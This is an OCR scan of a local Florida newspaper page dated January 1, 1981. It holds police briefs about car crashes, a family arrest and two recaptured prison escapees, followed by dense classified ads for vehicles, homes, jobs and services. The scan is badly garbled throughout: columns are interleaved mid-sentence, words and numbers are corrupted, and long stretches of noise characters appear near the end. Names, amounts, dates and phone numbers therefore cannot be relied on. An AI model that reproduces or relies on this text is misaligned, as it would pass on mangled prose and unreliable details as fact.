$250. YOU MAY HAVE MISSED THESE The truck was backing up and ran the left rear of the paikod station wagon according) to the Slut re Pol into the front of the car which was attempting Dt'parlment.Patrolman. to enter the entrance to the bank, according to the Starke Police Wayne K. Mclntire did _ GREAT OPPORTUNITIES IN LAST Department. not issue a ciatiol3after investigatingthe .. Patrolman E.W. Wilkinson cited mishap. Peeples on the improper backing !Mother Son , SUNDAY'S GAINESVILLE 'SUN charge. Arrested in Fight : " An Incident at the apartment house Brakes Fail complex in the Reno sect ion of Starke Car Hits StoreA resulted in a mother and son being arrested CLASSIFIED SECTION. Starke Thursday, Dec. 25. at 2.-.JO: p.n\. man was charged with Edna Mae t'ovington, of Slarko. operating a motor vehicle with unsafe was arrested by Patrolman Eston (i. qllipment-defective brakes, after Mosher on a charge of battery of her his car failed to stop and crashed intoa son, Alphonzo Covington .Jr. at 922 . The Sun's Classified grocery store 5.5 miles west of I Shop section Starke on CR-15 and SR-225 at 12: 10 East Brownlee Street Apartment 7. Covington was arrested by !Mosher a.m. Monday Dec. 22. , Martin Ray Ricks, 18, of' Starke. of and battery Patrolman of A.S.law Sharp enforcement on chargl's., . a officer I everyday for great shopping values. was not injured but damage to the and resisting arrest with 1971 Plymouth sedan he was drivingwas violence of Patrolman Sharp. : estimated at $500. Mrs. Covington released UII' was Nn nnt wfl",t Intilrpd irmirta thff linn- I $160.50 recognizance!: bond after being! : I ..... dyway Grocery Store but damage .tot . arraigned before ,_. I '. .' ,. I*!tho store was estimated at $7ixx, Bradford .County: u. I Judge Klzie S. Sanders. , r : : BABYSITTER. 3 year MK. llOhl LEGAL. seCBBTARV. preferexperience 'MASON HCLPBHp.nVl'. ll V' |44-The plymouth !had turned east offCR.16' fiou.akveplno. Mon. thru Frl on Lanler Word Pro- ......It, pndble end' owntransportation. into' the Food Store i Handyway 7:>>4. Must have rf.r.f cs end c.._. Salary commemorate 40 Hours plu. 2 UCI Escapees _ tr.riBpoc .tlon. Call 37J-M17. with ability 374 73SECRETARV. Call enr 7 o.m..:J7So34M. parking lot when the driver applied .. . DENTAL HVOENIST OFFICE HELP. full tlm*. Invdclrcf brakes to stop and found he had none. Recaptured Dec. 22 Send resume to: for .....11 enolrteerlno. conwjltlno telloflono. tvplno. Experienced Sun Dro_A. Box FMICT: firm. MImI t"... S3 CWPM. Salary only nd epplv Cell. The car entered the store front 24 feet Two Union Correctional Institution ; -O.ln..vHI., Florid XUta .negotiable' .C.1I3121tI1.ReSTAUR"'NT pN en 10 t HOT apnt. J7:11-4100G: from the northwest corner of(lie store inmates ' O were recaptured about 12 CAPTAIN DEE'S. Part tint DAY TIME holo RECEPTIONIST POSITION and feet daw came to rest 6 inside the . counter help Apolv In person wanted. Aoply In per.on onlvbetiween PhysicIan Office. Office shill.r.qulr.d. hours after they escaped while wal : between 2:30: 4. 4:30 Man. 2-S p.m., 946001.tanolPIll. Cell 377-7337. t-apm. store, according to the Florida - through Tnur.only, Butler Plaza! ., M15 Mewberry 04. Ads for Bu.lna.."" '''0_. Highway Patrol. clung a movie at the prison !Monday ) Dec. CPA CONTROLLER fcfconDm- Cuff Individual with proven RECEPTIONIST neeoad for a PAYROLL CLERk.growth posi Trooper HE. Williams cited Kicks evening. 22. : nv with to mutton dollar ..!.. ability needed for oood lob .0- local nhyilclen't office poillkm tion' for 1111.. prcxnlfirm I- Daniel II. Moats 29. and Klind : and :35 employ, ... Sand rmfm. Dortunltv, ( 1.000. Cell JOB now open. Send resume to Dent.Pit3 44.449 .pp/te;: PAID. on the unsafe equipment-defective i 40 ee. Pl110l5un Dr..r A., ACTION. 37B-330O. new NW UMl Sun Drawer A. O'viiie. $l60wIl Call' .JOS ACTION. William Gartner scaled a UC'l fence . 1 .' .. St H. Fee-negotiable Pie. rung or call 377-1450 371-2300. I04 P4W 13th 51.0). brakes charge. while a movie was being shown tic- : - cording to Vernon Bradford. public . Car Sideswipes information officer for the Department :: . of Corrections. Records show _ ,, Rescue Unit on 229A the pair was believed to have slipped .':: from a line about 7 p.m. Dec 22. They I 1971 NOVA C",. power .t..- 177 DATSUN B-31O AUDI too'73. rebuilt engine,flaw Bradford County Rescue Service rlno/brafca..redlo.very econorw Excellent condltlan. M_ tlrn, tires, AM-FM,) radio Must sell. Ambulance was struck by a hit and were discovered missing when correctional leal oood condition. 260O CB radio 1 owner. AskinG UMOCalll73O Call Tuorul 37H303. slloo. Student officers took an inmate 316-4992. .,_t. 37. run driver in a mishap on CR-229 2 . count at 8 . '71 VEOA. automatic excellent ": WAGON 'Tt CORVETTE miles west: of Starke at 6:20: p.m. p in. - In end out. elr. low mileage. R..f. ood paint' ''-Y. White: red Interior loaded l.OOO Wednesday, Dec. 24. An all night search. according to : J7S-79J9 .before 2PM. will trade for .''ck..... ..:ISO or miles, new condition. SIISOO. Bradford resulted in the . \\'J\:: pair being : : best offer. J71-O3O1.: Very sporty.C.,13n-oou., Phillip Steven Futch 25. of Starke 1975 PINTO WAGON 1077 DODOB s ....... 174 MAVERICK DELUXE.! 4 was not injured but damage to the recaptured i about seven miles"into : fJ'c.\ 4 cylinder real cod condition, Automatic,air, door, AM/FM aIr automatic Baker County 10 miles north of UCI at - very clean, oood MPO. sl.ouo, topper new tire.. ;37.OOO miles, power steering regular ges, a 1979 Ford ambulance he was driving 7:45 :. Cell 376-9610. $34OO: Call 377-S437. cylinder, sl.OM Call. 372-4072: was estimated at $25. : a.m. Tuesday Dec. 2.1.Moats : .. ___.4.-,7! FIESID. automatic. aw '71 Chevy ImD.'.-' owner 177 PORO P-19O _.*. drive, .' '74 TOYOTA. CELICA. ST good The ambulance was going east on : was serving a five year . ;- V. power brafcftta.rlna, nw creme puff. Excellent .......... AM-PM I track. 10x11 Groundhewoj concHtlan, tow mileage :30 MFG sentLMice for burglary and grand theft __ e.- tMttvrv/bratiOT.fnaiMctM radio icon gift, New Inaoectlon .tlc....., $tire, .Ir conditioned' AM-PM speker. air, greet CR-229 when an unidentified vehicle -.__ Mint Mil 1950 or bnl. 3T4. lot "U teKei It. McDonald power brakes/steering, eoo e. Interior 4. ....rlor. $1005. call going west off the roadway from OilY County and has been in the ran SWCI'Ved - _# kap trying ,tudnt. fake over payments. 4B1MO 37.,7'.Stvden.. , R.n-S.v 111 SW 1 St 371-2317 .system since October 13.: "JW! (>. back onto( the roadway and across: Gartner was i<,rving two counts til' the centerline to sideswipe the am .' bulance. The unidentified vehicle :murder in the first degreeith a i mandatory 23 years from Lake Coun- then left the scene as a hit mid! run ' 1 l and has been in the > prison system vehicle according to the Kloiid.i , .since Match :3.. 1980. Highway Patrol. - L.--r ; Union County Ads I clean 3 HOT INVESTMENT New a BR. 1 bam ept. Phoenixubdfvllon I '. nodular Lot overlooking pond and ooltoreen near VA and a...... . home on thadv corner lot In SW create your own terma24.1O9. Hospllai. aw/mo. immediate on Archer P.d %n.OOP.37e5el3BY : $ Henley and Associates, occupancy. J7oinl5Q- . OWNEM-NW :> B*. 2 balfl. REALTORS..37-WM. NEW 2 an.loam. _... Suger- INSURANCEMAINES PERSONAL 'OltVOUI ' family room screened porctt.privacy THE HAMMOCk: I Wooded foot Oak 2. Cent heat/air, - fence. Ateume 7**'%o acres nIci lot. stsoo, woooVd lot no pets. Available ItJMrmo. REAl ESTATE NEEDS _ oT'oJ morl 1753 total' monthly ".V-' IO% JInanc.. ; balanceOwner I. 3/3-74I. INSURANCI AGENCY SERVICES IN UNION COUNTY . nqnt. S57.0O0 37234e.: anxious Call 371-e56 NEW* .... t bath, _'/.Ir. ref- : 160 S. lak Av..i, Lok. Reildentlol : ASSUME! LOAN with tHM c..... sere THE. mot MEADOWS prestlolous aoprox neighbor. M rlo.,,drver.ttove .dr.dlshwa..... bus'ner.routes washer Butlor. 496-3978. Complete CUSTOM MADE Acreage : . 3 .R 211..4. mo old. In P.l..tto Il_in-cIty. 2209 P4W 2r.d6: Slop.' m/mo Cell 37M7OAKOOCB : Insurance Servlco. TFN D R APE R1 ESI Free Commercial woods Oam heat A stove.carpeted. lop locr.46.$2d000. I estimate . 3755 evening, .. APARTMENTSV241W3JOTBRR Local CoiltV.n.ra - A. PLACE. TO BEOIM. VA or : Country almcspnore distributor for completely ATTENTION Home S.ak.ralThr. PHA, IMS two bedroom, two batS one yr. old. privacy patio FOR SALE washable Brown NER SPECI": .'2.000ro .. In NW. S43toa. OoualBi.e.iSoei' washer/dryer nookup. no nationally "",,",. .. under conatructlon oom..th end you home atlll Builder' *, Inc 3n- Ml p.'.. 1 BOJ-S3M 3)74V333ePINBRICIO ) advertised Cordselte RealtorAssociate49o3022 ....utu.! ; B ..... have time to make tho.a'Interior I OFFICI AND 5CH'00L SUP :: .' .. :: tb.' : II BR."'.. BATH TOW MOUSE Ouadraplex Larop ,Drop.r Ie. 54 W Enterprise :::er"f"'Y election "4 0.900. ooual.e I. Bellamy' Poroe, JM > BR. 1 bath kitchen eauleoed., PLIES. CIFTSS' Union $65O0O 51U-5I6 Son Builder, Inc. 37I-I3M: t.,.Iaat.security. *tl-He-4 monthly>37BtJO carpet,' wether/dryer hookup | *. Ed ot loma Tiffin and Owenl, Inc. .. cent iaat/lr-s275/nio 37-at3e County Times open Monday Stephen 496-22I9. and Tuesday 8:30: a.m. 5180TFN. Realtors : . to i p.m.( Wodnotday. CUSTOM TRACTOR WORK Riverfront, A' River access -: closed. Thurtdoy and Friday Harrowing, mowing and lot. . 8:30 a.m. till noon. blade work. Phone Ham.." lot . : '. ',. l-.Id; BUCK HOME on I 1.2 acre.. 3 496-3773: or ;782-3039. Meet Processing Plant' ; . L. bedroom 2 bath 1 ItIl31FN. Hog FormDifferent --.1 fireplace, carpeted. I 1,800tq. slied , Acreage : ... (eel living area. FOR RENT _. HolDOlnt DOUBLE "MATTRESS CANNON TX 35mm camera with i acre lot In town - electric oood worNln.) condition. box frame, 50000. Brooker 489-1474. wrIng ,.headboard. Sfimn tens and carrying c.. - . 96} 3125149.fl.v3.PSOSZOO.AMANA.l3 IOO. 371-K23.' Mobile home < 3Va ] ..t. 3M. will sell for >l Cubic ft 'BRAND "' .IN.or full .1'! .' bmtiefter.Cell 37'-nt7' TWO BEDROOM APTSAVAIIAUE In town -.. JS cheat type with' lock and ;iignta.j bed lVVWS,5l4. 00.0 ........ AE-1 wIth fl. | pickup > 'CANON s .. i lens : For qualified }e ecre-lovely' hom.'t.' m.0tl old $33O. CIII 211.1155. KIna *l>.. MB United ......nlt..... aln>ostiew. 3IO negotiable will truth load] for oak and $40a . OAS !-Dearborn MOM 1201 B. tlnlv' AV., 373-714. return all messages left on pickup truck load far applicant. No children or and farmland TO ,t..Tgl' excellent. CLOT Re4I.tNIR.'j: tmitiontj. '. mectilns) 17 44oa'CAMON Tre and peteyFor more Information' Ito ' pin. *service yard \ condltlonHS: Cell 37H773KENOSINB H5 o-rtiett offer.. c.ii r-34 ,. !i . I] Awltn f I I len* almostnew. work. Call Theme Mettle' call 496-3623 alter 3 p.m. : ! SPACE HEArCKt <'.-, dCUSfOM _fe. _Een 7 faoT ....U>1 _. "01>'0. Will returnall Itod I/I. t Leroe older model with Mower. .km*. single width frame), liner, ...... left. on machine. 49 .37M anytime.. 11/27. . work.well. *3O ce,n.3n-,1x5MAVTAO pad. HO 37e3DEMI 374-40M. ; TFN. l 197' 14,43 2 t* MOBILE ' I W1ING1.lyoa COCO TV CONSOLES (1). :21 BAKER LP OAS. INC.l: HOMIt family room fully SOPA. multi colored, S50 'Inch. RCA and Zenith Poll Hwy. . Ij tne w."SO. wltn e Dump..1 need Vinyl swivel. rocker 175. Two excellent .condition tiio each In .121 and I-10. Family owned furnished with AAA REAl ESTATE .' MOVING SALE *nAN money 3M-972I wooden oecan end table.. . 5)3 Call " j fee .tII.. J.1. .nfiou.Dd <. i., ,leach. Good condition. Cell 4BJ13)71.COLOP and operated.. w. delivercylinder washer dryer1 Werthlngton SERVICE OFFERS! I 111 Duncan ?hv dlnlne, .* VIDEO TAPES (3) adult taoee j77-IOT>daY.or 373-O433.vef .. ) TV. MCA ll SnOt coniole' and bulk Sill .. Springs. I 110. oi.ss *aoIiuI.y, : for gas. W. per Low. ; s VHS teg each Call 3'11-* In beautiful wood cabinet E xcl- - .lf..6pn,. \ .' f W0O/b..l TV.frOPIY OOW, 31).9310.l' SCISN7: len condition. SIM. Call Dlvan'tlnia rent tank or /till youro.'We; month. Phone (lobby1 Smith' < I I,: . 3 I7IW3t 2 15 acI..Pro"ld.nc. W . sinus. toglu. better er. 496-2308 or. 446. 2327: .. I I . i' ., I ' i :.' t'y vice and ,price*. Phone ItpdI 3 I'i n.wii.tlng. - .217-6810 Maccienny/ 4-1' i n.Raiford, :' J': "i : ', I. t\.I,; ICJ fl' ? f ., ,. -392-4097 : 'In Middleburgi!; 1.I 2. and .* M MOSILE 3. 2 w pool t acreage . t:. t I :' : Need<<! more. information? 't ,, 1$ / : "j } '786-4731 |Iln, Jock.onvllle.' HOMES, for rent In Lake 31 I Shows Addition .- HUIJH\J , -. .: } ; ; :}: in; ) j : i. : ... : 4tpdI2/l: 12/18 1233j. : ,Butler> Clean' park paved 3 I''I. CHA. -J' ; ; , Interested in placing' a classifiedfCalla724p22 .,/ .:": !1"1, ;. road. 1 Vnile to school or 3 '2 lake vl.w I: ,t t" ,,' ALHLA-Z-8OY CHAIRSi! 40 '""sawmill."All central. H A. 3, I ,brick, owner financed ; ) ..... ji' percent }plr." Jim' Fur S140-I&0, per month.References Acreage 10-320 acres, '*t I ': Ii : I :,' .<:: $ Starke."f 9S4:81/7ft( : !>i. .... !rlt.! .. niture1" 453 W. Main St., required.: Call Notary service .. lake Butler. Itchg )/I. 4963299.: 12 I8 "lchg1 8. , John lengferd J,. 1 c- Classified Ads Get Results.... Realtor 4M-3I14 Aiseclete j. I II I _ .. -. --, ___.____ _____ .' .-....-- -:-.-.--.--.-----a-a a-.a- -e4- ::-:--.- .- -.-- --- ----- - -- --- -----.ot-s- -. : r : :: _.*_.4.W-tl1t.-:34.-W,_... .......,...de4't446rllrr4...- "'- .--.. -.....=-- -TT: - ... -, .. 4 -- ,.--. -. -- -.- -..------- - ----- '---- - ... -4 '" .. .. J ..." .,.... .-- _.. y . f I "f.V : I I January 1. 1981 PageSB __Ii. .."""' ''''''''''''''''' ''.'_'.''''H .. ._....._.___,____.___._.......... ...._ ........ .. ..... .. ... .. ._... ....._.. . I I I PT! I I! \ I f / I j I I// //i I / I I i iII II ./.. ,\&E n\- '.,' 'I / q11 //1'' I I II II ; :. o ; 11 : f/I/ l// 41'' : I' 'g /, II// , I e ii'' k'i'1:' // Il// l / ) I/I/ I : :! "" .. ,. I I/Li/ jI ) : I //f j I I I I'' / q // I 'i"" i / ft'iI1/ /1J//J ''i I IflbiI Jib-, ..\ ._. it\\\\ urn : ] : . --, -, - HIUI'IltIllUUtlIlHlIIII'IIIr' 11111/"l/lfjfll/llliJlll/lllJ/lI/JUI""I/"lliIiII/JII/I//iI! / / / / / / // /III/II/I"I/JJlIIIIIIIJJIII/II/I1/1I'//IiIl/lIlIJlillIiIIIJ/ / / / :/ / /lIJIII/J/ilIk/lIU"'I/II/1II1I1I1/UIII/IIIIIIIII/IIIII/lill/ / / / / li/IH/J1III1/1I1/11II111//lllliIi/lllJIIIII/liJJl/lIlIlllJ/ / // ,/ fillHll/I/HII/IIIHHM/IIII/iI/HI/II"'l/IllIll/lJIjjJl/IIUJ// / /lili/lIl l/lNIIJIIJlll/ ll/ilflflli/f/ilYiJIIIl/IiIIJIII/JItI/I"V/P1II// / / /lfl/liWIIJI/"I/I'//JIlIHIIlJlIIIi/IIIJIII"III/IIII//1l1/1"/' / / tJIikl4WIJ4ttlIUlMIIJaI/jIIAjIJJli", . \,, l I '<; I '. : : <, , .. ... ... I . \ IIaI- J iii :'.,D ", I ..,, I \ Deadline.CLASSIFIED for ,> VO. HOPP9 HEW SflflE:81: : ,TUESDAYNOON. In,,\ r lon II ;. >' rwilkarREALT " ._ publication preceding Thursday', before j &W' (! - Minimum charge $2.t\X\ ). -- --- - (Covert IS Words, 1. j I CARS I Each word It.lIs ' ov.r 10 cents TRUCKS PERSONAL I PERSONAL FOR RENT FOR RENT BOATS, I See) PHONE 964-7776 r Nor responsible for errors' SERVICES SERVICES CECVLIATERWILIEGAR ; when, given over the ; 1977 FIAT 124. Standard .t 205 N. Tempi, Starke j r pKl\on. PALMS APARTMENTS Furnished KITCHENETTES One BR .18 FT.GLASTRON BOAT) 225 "fA, 'QI qr when copy It not ty\ted transmission 2door. If Interested BOOKKEEPING. SERVICES 9 MIL'S. SAW SHOP Complete efficiencies and 1 apartments, pool. TV. AC, hp, V-hull. Vinyl top and Wayne I. Douglas Broker-Salesman t and brought to the oftlc'' contact Communl. sharpening service cir, BR apts.. weekly or monOthly. utilities Included) Totally deluxe accessories.Just Telephone964tSn ... ... experience In all many ty State Bank of Starke years cular hand, carbide, ., f' n NEW FURNISHED furnished Weekly mon like Call'Galn..vlll. ' '!!1 I phases Including taxes andgovernment n.wl) 964-7830. 12/11 tfn. chain mower blade hollow T Tjriiir forms. STUDIOS, monthly only. thly rate. TEMPLE MOTEL 3763619. TFN. I YARD SALE 1979 CHEVY MALIBU Station ground and balanced. 2313 N. Temple, Starke 880 N. Temple A".... ____ Y Wagon Automatic 473-7075 after 5 P.M.. 7/3 Leave at Jackson Building TFchg Slorke. Phone '9647357.: . YARD SALES Lots of clothing.Some transmission air conditioned tfchg Supply In Starke, Keystone 9/20 TFchg. WANTEDGOOD ' furniture ontd ; AM/FM. If Interested KilNS TREE SUROION: Heights or Lake Butler. FURNISHED APARTMENTi. , houtewares. 3 mile. tout!(!t contact Community State Trimming. removal 14 yrs. TFchg Nice, 3 rooms and bath, MIMOSA MANOR MOBILE PRICES PAID for used Bank of Starke 964-7830. experience. Have 55 ft. ALCOHOLICS ANONY- HOME PARK mobile home some utilities private entrance mobile home If mortgage of Starke 301 next toil on bucket. Free estimates. Siesta \ 12/11 tfn. MOUS and yard. Call I and.space for rent.Phone I I.3/4 paid or more. OLIN'SMOBILE Motel tfn 12/11. 177 CHEVY CHEVELLEt Two. Phone 7823733. 9/25lnchg Phone 964-3148 or 9647619. 964-5464. I/I tfn. 4682912..TFchg'fOUSEXEEPINO'ond HOME SALES - GARAGE SALE Jan. 3. 1981,' BARNES CARPET CLBANINGI door TFchg steer ; power 964-5606. Open 7 day. three families. 1102 Colley ing/power brakes; air con Shampooing and extraction REMODELING. BUILDING HELP.WANTED. sleepIng weekly. TFchg .. ' Fd.. 8 a.m. to.5 p.m.Cloth. dition. If Interested con living room, dining REPAIRS New kitchens, room TV and Air. WANTED Mobile home ax- Bro4ford"VltIas;-- Bessent ReadTStarke. HoT A nice place ... chlldr.n and tact Community State Bank room and hall. $29.95. baths, family rooms.Brick Underwood Motel 3 mile I.. and tires. Will pick up. to live. At prices you can live with. The townhouses offera adults; baby Itemt; toys; of Starke 964-7830. 12/11 12664460. 10/23 tfnWI block concrete. Fireplace North of Stark. on Hwy OLIN'S MOBILE HOME beautiful maintenance free life Charm I secure style and 'lots BUY GOLD. Cash on the Grlflis. Con. NURSING HOME needs full- appliance tfn. specialists. 301. 10/9 more.llpd \\\ tnchg SALES 9645606. Open 7 Williams Jewelry time LPN or RN nurse for comfort and quality describe the 2BR 1'I brick vaneer HONDAi Standard spot. struction. Phone 4732108or CULUGAN automatic \977 jl 100 E. Call St. 964-7064. 4-12 shift. Call 9646220. fully day a week TFchg flames which feature a Croat Room, efficient kitchen 11.HOMES \ transmission' radio and air 473-2578. TFchg water conditioner $3.75 CASH FOR COINS Gold 10/16 tfnchg; SEWING MACHINES 10/9 tnchgSEWING cablnete and}closets galore..super. energy. ..wlnll'n.-' If Interested Installation . \conditioned. mo. extra per silver dental sterling \ CASH FOR OOLDi sterling REPAIRED All makes MACHINI limited tlon..Cash In en our pre-constrvctlon prlc.....Yo". State offer. 964-7638. \rpontoct Community GF FOR SALE gold , OPERATORS! B needed. Experienced scrap jewelry optical townhouse be customized suit . EJank of Stark. 964-7830. coins. A.Z Pawn Shop 144 cleaned oiled and ad- tfnchg 10/23. frames, etc. J.R. BullIngton can to your Individuality.Model . MOBILE HOMES Why pay 1\,2/11 tfn. W. Call St. Phone 9648348. lusted. $13. Work In factory Industrial OFFICE January rent 'r_. 964.6250 TFchg. le ready NOW. Shown by appointment only. / Fulltime more? Buy direct from the 1943; FALCON door..Good 11/13 tfnchg. guaranteed. James 40 hour week.sewing.Do not Ample parking. Corner of WANTED Used tool., both Prices start et $33.600. Some option. available for you HUBCAPS AND USED TIRESl apply factory. Large selection of co ndltlon. $600 or belt of. Strickland corner MorganRd. unless work 40 laura St. & Hwy 100 mechanic ond carpenter two full Baths, a fireplace, screened porch and even 12', 14' and double wid.. '.'\\. Call 964.6612: after 5p.n' $5.00 and US30I up. (Old North.Moose and Hwy 16. TFchg hours. Apply you In Stark. 4732735.: 11/13 Phone 964-8331 or larger roam If you so desire. Lodge, ) person. BRADFORD SEPTIC TANK COMMUNITY MOBILE II. 12/18 tfn. Starke tfnchg. 468-1551. 9/11 tnchg BOND MONEY 11'will notlastforever.Looksbet- Uniform 441 East HOME SALES. US 301 SURPLUS., JEEPs value 12/18 4tchg 1/8. SERVICE Pump-outs. Brownlee Street. 12/11 COZY. 2 Ui, lEA COTTAGE WANTED) Mobile Home Ax.les. ter all the time for those that can qualify I ISPECIALS $31?6..sold for $44. Call CHAIN LINK FENCE Install Residential commercialand ptly fum. Janet M. Starling Paying the best price North. Op.n 9 to dutk. 1 to ed. Free estimates. Hand tfnchg. 312-17421142: ext. 705 for Industrial. Fully licens Realtor 782-3931. tfn for good condition axle. Reduced 6 on Sunday. Phone dyMan Fence Co. 964-8559. CAREER OPPORTUNITY! Eastwood Dr. 3 BR 2 B, panel, carpet 30000. how ed. Phone 964-8121.: TFchg 12/11. 964.8741.6/5 Infoon to; purchaseborgc.dns life and health Insurance '9646331. 9/11 tnchgHandyman' .N.w brick 3 BR 2B 1600 sq. ft. QUA. In city. TFN. 1218.TYPEWITITER Leading TFchg MOTORCYCLE REPAIRS Factory . Ilk. thlsl 4tpd : 3 U. 1 BA HOMEs Janet M. BY OWNER* Roomy homewPh 1218.111.. 1/15 1/29. REPAIR Call trained mechanics. company. now Interviewing Starling Realtor 782-3931. Special .607 Milton Terrace-nearly new-many extrei-$31,000. den/fireplace, car 1971 VVWi\\ Good condition. the Office Shop 110 W. US-3O1 South 964-6020. for outside 19/11 tfn .Mouse' I I. located by Mld- PREFERRED PROPERTIES port and workroom; thed; New k\IOtt.ry. good tires Call St., Starke, for details, 5/29 TFchg S.Classified. sales' and collection posi SMALL COTTAGE d'leburg' at Jet. of 1.295 ond *3BR, SB Edwards Rd. Has everything! $".900. large gard.n space' wltr good gtiis\\ mileage. Recently 964-5764. tfn.BOOKKEEPINGi. tion. Excellent Income Klngsley lake. AvailableJan. S tote Road 21.Go south on C Crystal take homesltes-SBR FP. guest hause.S3B.000, pecan and fruit trees or, rebuild.\ $1100.00. Call for small Ads potential. No experience 1 thru May 1. Deposit :21. 16 2/10 miles to HallB .It Ac. Brown I.. Rd. Col. home, barn, stream $". .500. 1.96 ocr... Low taxes. Cal' 964533lItchg I/I. businesses." Give us your gets results nee..ary.f/ you are will. required. No pet. Call or... Turn left and go 1 Beautiful Lake Geneva 300' beech 4 homes-Own fin. 9645610. 1/1 : 1966 FOHC BRONCO 6 4 headaches. Call 9647189or ing to work and meet people 933-2366. 12/25 rMlle to Turn 2tchg 1/8. cyl call 964-7914 between 2tchg Blackberry. 4 404 N. Cherry-2 large nicety I urn. opts. Owner fin. 9645648. DIVORCE 50" MOBILE HOMEs 2 bedroom wheel d' ''V.. Needs body 8 and 9 01/01 loft and go 4/10 mile to .Home :3 acres In Breaker SS1.4OO 1 bath; extras. 250000. work arAd front wheel EXPERIENCED In Geriatric contested, uncontesteO. abandoned a.m. a.m.I/I Mondaythru 2 BEDROOM HOUSE Fur. Cotton: Lone. Turn right to lr 1261 John. Drive, swimming pool. thirties. Nursing In home care for with/without cnlldren Friday. 4tchg Terms. Call 964-1212: ext. drums. I Motor and loved one Call tvou pay your own filing reel. 1/22. ",.hed, In city married 4 195 Cotton. Interim financl .Home. whahp-Rd.lOOW 3 BR. CKUA. FP patio S39.SOO. 140... leave., your numb.r. transmissions excellent. 9647793.your Itpd 1/1. Norm R.OIDASEcSETAIIAL MATURE WHITE, LADY to couples only.' $15000)( per ng Is available. Do a little .3 BR 2B Ranch CHIA 12A for garden.Rd.223-e3.SOO. "''. 1/1 2tpd 1/8. Call 964-5O\44. Itchg I/I.I SERVIcE help care for elderly InvalId month plus security a.'Id save a 'lot. low downpoyment C 125 yr. old home(2960( sq. ft.). Hampton :3 Ac-S3B,500 Call between s p.m. depotlt. No children. No ' I and low Interestraite male. Call 964-5835. ' FOR SALE FOR SALE FOR SALENEW and 2594400MOBILE 9pm. Jtctig I/I. pets.I/I. Call 9645417. Itpd make you an ownerIn 'I' '6A-S233 septic well pump ACREAGE elec.pale, portable sheds I stead of Ex- a renter. 3 or 4 BEDROOM HOUSE ''40, acre. across road from Bedford Lake IOSOOO. 1910 SENSOR TOUCHi BULLS Two registered pure AND USED FURNITURE HOME OPPORTUNITIESNO Brick: CHI; No ce Kent opportunity. Nice '20 acres. Rd. 100 W $27,990. Owner financed. Microwave oven. Has' bred. One-/.Nngus. On. and appliances. Porch SERVICE. DOLE refrigerator. First and last th ree bedroom house. We '43 Ac. Lawtey area formerly "Bare Skin ledge' $40,000 several power settings, Hereford Jairyes\ Gaskln rockers. BARGAIN JOKEs Earn good moneyat month rent pius $100 can furnish materials to I '4.78 Acres Rd. 230A & Wilson Rd. 11700. defrost cycle, meat probe 9648356. 12/K.3 tfn. CENTER US 301 South home. Full or part time. ,security; deposit. $250 per complete, Immediate '40 Acres Hampton 60.000 0% Intereit-Owner fin. , large size. Full factory PAPER SHELL I L'ECANSi.80' 964-66T9. TFchg Write AERO Commerce, month. Call 964-6413 po(....Ion. See it and then ''56 acres-Rd. 100-owner will finance. : warranty. Left In 'loyaway. cents per Ib. V,\\ rnon Reddish PLUMBING FIXTURES windows Inc., P.O. Box 467, Lake anytime keep trying. I/I contact Properties Depart- '13 acre :301: 8. Morgan Rd. Own.r finance $39.000. Party left area. Assume 964.530. t'fn' 11/27 doors, pipes, plus '100 AMI Butler Fla. 32054. 12/11 I Hn. moot toll free at I '6.16 acres Gr''"'. Leap-timber-awn. fin. 10500. payments of $1900 > 1181.COMMERCIAL. 2 BEDROOM HOUSE Partial' 1-800-328-4462 4500 Lyn- per SHALLOW WELL f\UMPOn. 10,000 other Items now. at 4tpd 3.5 acres near Presbyt.Church. ft ha.pltal-mak. offer month.'White Sewing and ,half h.p.; 'completely\ Center:, US 301, COIN ly furnished; heat and air dal e Avenue North Mlnrja.OpttlJAfc. , I Appliance'Center, '3527 rebulft; (pever. u* ed since'', ,."SouVta.rke, / ','tFch".'.'.,.r.. .. OPERATED CAMESt For' ..cond.! ) .$, !Q00 per month! ; M'n.neptB' LOTS FOR INVESTMENT : ' S.W. Arch. Rood Archer ":.dlin the'Bradford Col; children 7 Trailer lots Brownlee R<...20% dn.per acre $4.OOO. :i being' rebuilt.0! Calf ,,1 i ACRE ,LOT: FOR SALEi L P1"5 deposit., No 554 Uti i or call collect to Square Plaza Gainesville,, 5332366. '12/25 2tchg Garage, water sewer and 'area. Excellent Income or pet. Mature couple Robert Hunter at ''ISITxIStf commercial on 301-owner fin. 33000. . phone 376-4466. 1/1 Itchg 01/01 elect. 7 ml. NW of Stark. producer. Great for Individual preferred. Itchg II.Hill's 904-7338137. l/t 2tchg Country' Club lot 180 x 313'-nice location-$10.000. : LIMEROCKt 20 yd semi SHOTGUN.Remlngtori.\ gas on SR 229. Whispering WildernessLog wanting to own c ;, 'Hampton Oaks Lot US. trees, owner financed-S7.MO. : loads only. ALLEN E. operated; automatic\\ ; 12 Pines Estates lot No. :28. full or part time "All Cash" -e"' ., Call a Water St. lot 235': x U' Owner fin. $19.800. i TAYLOR, Lawtey. Phone gauge. In good cona ltlon. 11/13 tfnchg. HomesAn business. For details call "" ....mJM Call' St. commercial 100' x 190 Owner fin. $ .900. i ''*' lfI''I\I\)}. "ij'' If\! ' 782-3172. 12/4 tfchg. Call 5332366. 12/25 :tchg 25" TV COLOR CONSOLE adventure Into rustic Mr. Blake, 305/896-8973 "J ;If.' 'Illt. : :"-! CLIP ANI''''v.2 ) ...... "1" HANDYMAN SPECIALS3BR . HAYs Highly fertilized. 01/01 \ Walnut finish. Under war elegance. We make Log or Toll Free $5 $'Sf .> I I acre Wilson Road reduced 13500. ! Argentlna-Bahla (no rain). GENTLE WHITE FILLYl* 15 ranty. Pay off balance due Home dream*-a reality. 18004281447. Itpd 1/1. 7 349rity .'606 W. Adklns-House & 50' x 10V lot 12500. a J.M. Edward Call \ TEXAS OIL COMPANY need 1 Secui Service it hands, 3 years old qua.l.torhorae $197.10 cash or take overpayments Janet M.St.r11n8RealtorAuthorized 621 W. AJUni 2 BR-carport-fenced $"000. ! 9645379. 124tchg blood line, troll \ar ..of $20.00 per Dealer1.5047123531712319E' dependable person who If it :24 HOUR EMER(ENC/ !SERVICE ;J BUSINESS OPPORTUNITIES ' 12/25. pleasure horse $700 \W month.White's Sewing and con work without supervision ;14li THIS COUPON WO,RTH $51| TOWARD ... 750 W. Madison farmer Mobil sta-$23.000. I USED NEWSPAPER will trade for young Appliance Center, 3527 .Sale*Associates' In' Starke. Contact ''It PURCHASE OR SEE VII:. OF $ 25 OR MORa ... 419 S.Walnut New large wa..hou.SI2.5. ; I ALUMINUM PLATESl 24 x ,registered quarter hors emare S.W. Archer Road Archer customer Age unimportant .4 LOCKS CHANCED REF>'AWEOi INSTALLED h . 36" 25 An 